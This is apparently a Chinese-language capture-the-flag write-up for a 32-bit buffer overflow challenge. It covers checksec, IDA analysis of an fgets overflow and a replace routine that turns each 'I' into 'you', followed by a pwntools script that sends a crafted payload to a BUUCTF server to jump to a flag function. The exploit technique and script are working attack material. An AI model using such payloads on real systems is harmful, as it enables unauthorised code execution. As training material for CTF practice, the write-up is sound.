1.checksec+运行

32位+NX保护
2.IDA进行中
1.vul函数

fgets()溢出函数
跟进s查看偏移

offset=0x3c+4
0x3c十进制为60
再来分析函数
replace函数:替换
先写入字符串you
再写入字符串I
然后将I 替换成you
这样的话1个字节就变成了3个
那么我们用20个I,就能换成20个you,60个字节
再加上get flag 的地址

3.脚本
from pwn import*
#p=process("./5sctf_2016")
p=remote("node4.buuoj.cn",25225)
flag_addr=0x08048F0D
payload=b'I'*20+b'a'*4+p32(flag_addr)
p.sendline(payload)
p.interactive()
本文详细解析了如何在32位系统中利用fgets溢出漏洞,通过精心构造payload,将20个'I'替换为'you',进而获取flag地址。通过IDA进行逆向分析和脚本实现远程攻击。
926

被折叠的 条评论
为什么被折叠?



